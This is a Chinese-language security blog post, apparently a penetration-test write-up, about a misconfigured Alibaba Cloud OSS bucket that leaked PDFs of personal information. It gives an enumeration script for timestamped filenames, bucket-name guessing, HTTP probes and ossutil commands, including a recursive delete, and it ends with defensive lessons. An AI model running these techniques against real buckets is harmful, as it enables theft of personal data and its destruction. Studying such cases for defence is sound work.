文章总结: 本文详细分析了一起因阿里云OSS存储桶配置错误导致敏感信息泄露的安全案例。攻击者通过直接访问、目录枚举、文件枚举和存储桶名称暴力枚举等技术手段,获取了大量包含个人信息的PDF文件。文档提供了完整的攻击面分析和利用链,并给出重要安全建议:修改默认公共读权限、避免可预测的命名结构、实施数据分层存储和纵深防御策略。 综合评分: 85 文章分类: 渗透测试,云安全,数据安全,安全建设,实战经验
OSS存储桶配置错误导致敏感信息泄露 —— 从单个目录到数据资产全面暴露的深度剖析
原创
是老A 是老A
老A搞安全
2026年6月29日 07:42 贵州
在小说阅读器读本章
去阅读
一位深耕网络安全的老兵,目前是一家安全公司的技术分管,擅长渗透测试及安全培训方向,老A的愿望是大家没烦恼,一切顺心!
一次渗透项目检查工作,经信息收集发现该系统使用阿里云存储桶,并且该单位未对其进行访问限制而暴露一系列问题
获取大量的个人信息……
案例回顾:一个链接背后的信息量
URL: https://xxx.oss-cn-xxx.aliyuncs.com/files/……服务商: 阿里云OSS (Object Storage Service)存储桶: [组织名称]路径结构: /files/YYYY/MM/DD/YYYYMMDDHHMMSS_序号.pdf
一条完整的社工链条
签到册(PDF) → 获取姓名+班级 → 推测学号规律 → 结合其他泄露数据 → 精准钓鱼/撞库攻击
全面攻击面分析
直接访问(已验证)
GET /files/2023/11/21/20231121181754_742.pdf HTTP/1.1Host: xxx.oss-cn-xxx.aliyuncs.comHTTP/1.1 200 OKContent-Type: application/pdfContent-Length: [文件大小]
目录枚举探测
# 尝试获取目录列表GET /files/ HTTP/1.1# 通常返回 403 Forbidden,但不代表安全# 尝试常见索引文件GET /files/index.htmlGET /files/index.jsonGET /files/.DS_Store GET /files/.listing
文件枚举(IDOR变种)
文件名 20231121181754_742.pdf 包含:
- 间戳:
2023-11-21 18:17:54 - 序号:
742
可以构造脚本进行范围枚举:
import requestsfrom datetime import datetime, timedeltadef enumerate_files(start_date, end_date, id_range): """遍历时间范围内的文件""" base_url = "https://xxx.oss-cn-shenzhen.aliyuncs.com/files/" current = start_date while current <= end_date: date_str = current.strftime("%Y/%m/%d") for seq in range(id_range[0], id_range[1]): for hour in range(0, 24): for minute in range(0, 60): for second in range(0, 60): filename = f"{date_str}/{current.strftime('%Y%m%d')}{hour:02d}{minute:02d}{second:02d}_{seq}.pdf" url = base_url + filename # 发送HEAD请求探测 resp = requests.head(url) if resp.status_code == 200: print(f"Found: {url}")
Bucket名称暴力枚举
存储桶名称通常包含组织标识,可尝试常见变体:
[org-name][org-name]-backup[org-name]-prod[org-name]-test[org-name]-files[org-name]-images[org-name]-static
子域名关联
[org-name].oss-cn-xxx.aliyuncs.com ↓oss-cn-xxx.aliyuncs.com/[org-name] ↓[org-name].oss-cn-xxx.aliyuncs.com ↓尝试其他区域:[org-name].oss-cn-hangzhou.aliyuncs.com[org-name].oss-cn-beijing.aliyuncs.com[org-name].oss-cn-shanghai.aliyuncs.com
SDK/工具利用
# 使用阿里云CLI工具尝试ossutil ls oss://[org-name]/ossutil ls oss://[org-name]/files/ --recursive --max-num 1000# 如果配置了错误的AK/SK,可能完全控制存储桶ossutil configossutil cp oss://[org-name]/sensitive/data.csv ./ossutil rm oss://[org-name]/ --recursive # 危险操作!
深入利用链
Step 1: 指纹识别
# 检测是否存在开放存储curl -I https://[org-name].oss-cn-shenzhen.aliyuncs.com/# 如果返回 200 或 403,说明存储桶存在
Step 2: 路径结构推断
从URL路径 /files/2023/11/21/ 可以推断:- 存在 /files/ 目录- 按日期分目录存储- 使用时间戳命名
Step 3: 批量扫描
# 批量扫描脚本伪代码for year in range(2020, 2025): for month in range(1, 13): for day in range(1, 32): scan_path(f"/files/{year}/{month:02d}/{day:02d}/")
教训:
- 默认配置不一定是安全配置:云服务的”公共读”权限需要主动修改
- 可预测=可利用:有规律的文件命名结构是信息泄露的助推器
- 敏感数据需要隔离:个人信息必须与其他数据分层存储
- 安全需要纵深防御:任何单层防护都不足以应对所有威胁
⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:老A搞安全 是老A 是老A《OSS存储桶配置错误导致敏感信息泄露 —— 从单个目录到数据资产全面暴露的深度剖析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论